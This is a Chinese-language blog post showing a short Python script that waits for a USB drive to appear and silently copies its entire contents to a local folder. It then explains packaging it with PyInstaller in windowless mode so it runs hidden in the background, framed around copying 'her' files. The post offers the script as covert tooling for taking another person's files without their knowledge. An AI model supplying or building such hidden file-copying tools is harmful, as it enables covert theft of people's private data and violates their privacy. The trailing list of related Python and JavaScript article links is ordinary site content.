仅用几行Python代码就能复制她的U盘文件?


Posted in Python onJune 26, 2021

代码

# -*- coding:utf-8 -*-
import os
import time
from datetime import datetime
import shutil
 
# U盘的盘符
usb_path = "E:/"
# 要复制到的路径
save_path = "D:/haha"
 
while (True):
    if os.path.exists(usb_path):
        shutil.copytree(usb_path, os.path.join(save_path, datetime.now().strftime("%Y%m%d_%H%M%S")))
        break
    else:
        time.sleep(10)

上面就是所有的代码,代码有两个地方要改成你自己的路径,我在代码里注释了

  • usb_path就是U盘的盘符,比如你的电脑有C,D盘,那么U盘插上来以后路径就是E盘
  • save_path就是你要把复制的文件保存在哪里

Python文件打包成exe

1. 在命令行用pip安装 pyinstaller包

pip install pyinstaller

2.下载安装pyinstaler运行时所需要的windows扩展pywin32

mhammond/pywin32

选择最新版的下载,注意要选择对应的python版本(version)和python位数(bittedness)

通过在命令行输入python查看python版本和位数

如下所示为python3.6的32位,需要下载[pywin32-223.win32-py3.6.exe]

Python 3.6.3 ... [MSC v.1900 32 bit (Intel)] on win32

如下所示为python3.6的64位,需要下载[pywin32-223.win-amd64-py3.6.exe]

Python 3.6.3 ... [MSC v.1900 64 bit (AMD64)] on win32

3.在命令行中直接输入下面的指令即可

pyinstaller [opts] yourprogram.py

参数含义

-F    指定打包后只生成一个exe格式的文件(建议写上这个参数)

-D    ?onedir 创建一个目录,包含exe文件,但会依赖很多文件(默认选项)

-c    ?console, ?nowindowed 使用控制台,无界面(默认)

-w    ?windowed, ?noconsole 使用窗口,无控制台

-p    添加搜索路径,让其找到对应的库。

-i    改变生成程序的icon图标(比如给女朋友写的程序,换个好看的图标,默认的很丑)

实例说明

比如你有个python程序叫test.py,绝对路径在[D:\project],打包成一个exe格式的文件

pyinstaller -F D:\project\test.py

条件同上,如果还希望没有控制台的黑框框,在进程中偷偷运行

pyinstaller -F -w D:\project\test.py

条件同上,如果还希望更换程序图标

pyinstaller -F -w -i D:\project\test.ico D:\project\test.py

运行程序

最后双击打开生成的exe文件,你看不到界面,但是可以在任务管理器的后台进程中找到,当有U盘插入,就会自动复制到你设定的地址,然后进程就会自动关闭。

仅用几行Python代码就能复制她的U盘文件?

到此这篇关于仅用几行Python代码就能复制她的U盘文件?的文章就介绍到这了,更多相关Python代码复制U盘文件内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

Python 相关文章推荐
Python获取单个程序CPU使用情况趋势图
Mar 10 Python
python基础入门学习笔记(Python环境搭建)
Jan 13 Python
python 上下文管理器使用方法小结
Oct 10 Python
十分钟利用Python制作属于你自己的个性logo
May 07 Python
python list格式数据excel导出方法
Oct 31 Python
python抖音表白程序源代码
Apr 07 Python
使用PyInstaller将Pygame库编写的小游戏程序打包为exe文件及出现问题解决方法
Sep 06 Python
Python自动采集微信联系人的实现示例
Feb 28 Python
python实现超级玛丽游戏
Mar 18 Python
详解如何在pyqt中通过OpenCV实现对窗口的透视变换
Sep 20 Python
python语言实现贪吃蛇游戏
Nov 13 Python
pycharm配置python 设置pip安装源为豆瓣源
Feb 05 Python
总结几个非常实用的Python库
Jun 26 #Python
手残删除python之后的补救方法
Python办公自动化之教你用Python批量识别发票并录入到Excel表格中
Python Pandas模块实现数据的统计分析的方法
Jun 24 #Python
FP-growth算法发现频繁项集——发现频繁项集
能让Python提速超40倍的神器Cython详解
Jun 24 #Python
FP-growth算法发现频繁项集——构建FP树
You might like
PHP+MYSQL会员系统的登陆即权限判断实现代码
2011/09/23 PHP
CI框架源码阅读,系统常量文件constants.php的配置
2013/02/28 PHP
纯PHP生成的一个树叶图片画图例子
2014/04/16 PHP
PHPCMS2008广告模板SQL注入漏洞修复
2016/10/11 PHP
JavaScript 版本自动生成文章摘要
2008/07/23 Javascript
JQuery 学习笔记 选择器之五
2009/07/23 Javascript
JavaScrip单线程引擎工作原理分析
2010/09/04 Javascript
jquery处理json数据实例分析
2014/06/03 Javascript
JavaScript中使用Math.floor()方法对数字取整
2015/06/15 Javascript
JS模拟键盘打字效果的方法
2015/08/05 Javascript
学习JavaScript设计模式之状态模式
2016/01/08 Javascript
Jquery中巧用Ajax的beforeSend方法
2016/01/20 Javascript
jQuery实现打开页面渐现效果示例
2016/07/27 Javascript
JS获取input file绝对路径的方法(推荐)
2016/08/02 Javascript
JS对HTML表格进行增删改操作
2016/08/22 Javascript
node.js文件上传处理示例
2016/10/27 Javascript
微信小程序getPhoneNumber获取用户手机号
2017/09/29 Javascript
vue watch监听对象及对应值的变化详解
2018/02/24 Javascript
mpvue中配置vuex并持久化到本地Storage图文教程解析
2018/03/15 Javascript
浅析js中mvvm模式实现的原理
2018/10/06 Javascript
Node.js之readline模块的使用详解
2019/03/25 Javascript
开源一个微信小程序仪表盘组件过程解析
2019/07/30 Javascript
vue悬浮可拖拽悬浮按钮的实例代码
2019/08/20 Javascript
Vue的click事件防抖和节流处理详解
2019/11/13 Javascript
在vue中使用防抖和节流,防止重复点击或重复上拉加载实例
2019/11/13 Javascript
微信小程序接入腾讯云验证码的方法步骤
2020/01/07 Javascript
[58:25]VP vs RNG 2019国际邀请赛小组赛 BO2 第一场 8.15
2019/08/17 DOTA
Python设计模式之状态模式原理与用法详解
2019/01/15 Python
python os模块简单应用示例
2019/05/23 Python
Python线程协作threading.Condition实现过程解析
2020/03/12 Python
Python 多线程共享变量的实现示例
2020/04/17 Python
大学生就业推荐信范文
2013/11/29 职场文书
欢送退休感言
2014/02/08 职场文书
政法干警核心价值观心得体会
2014/09/11 职场文书
商务英语专业大学生职业生涯规划书
2014/09/14 职场文书
《折线统计图》教学反思
2016/02/22 职场文书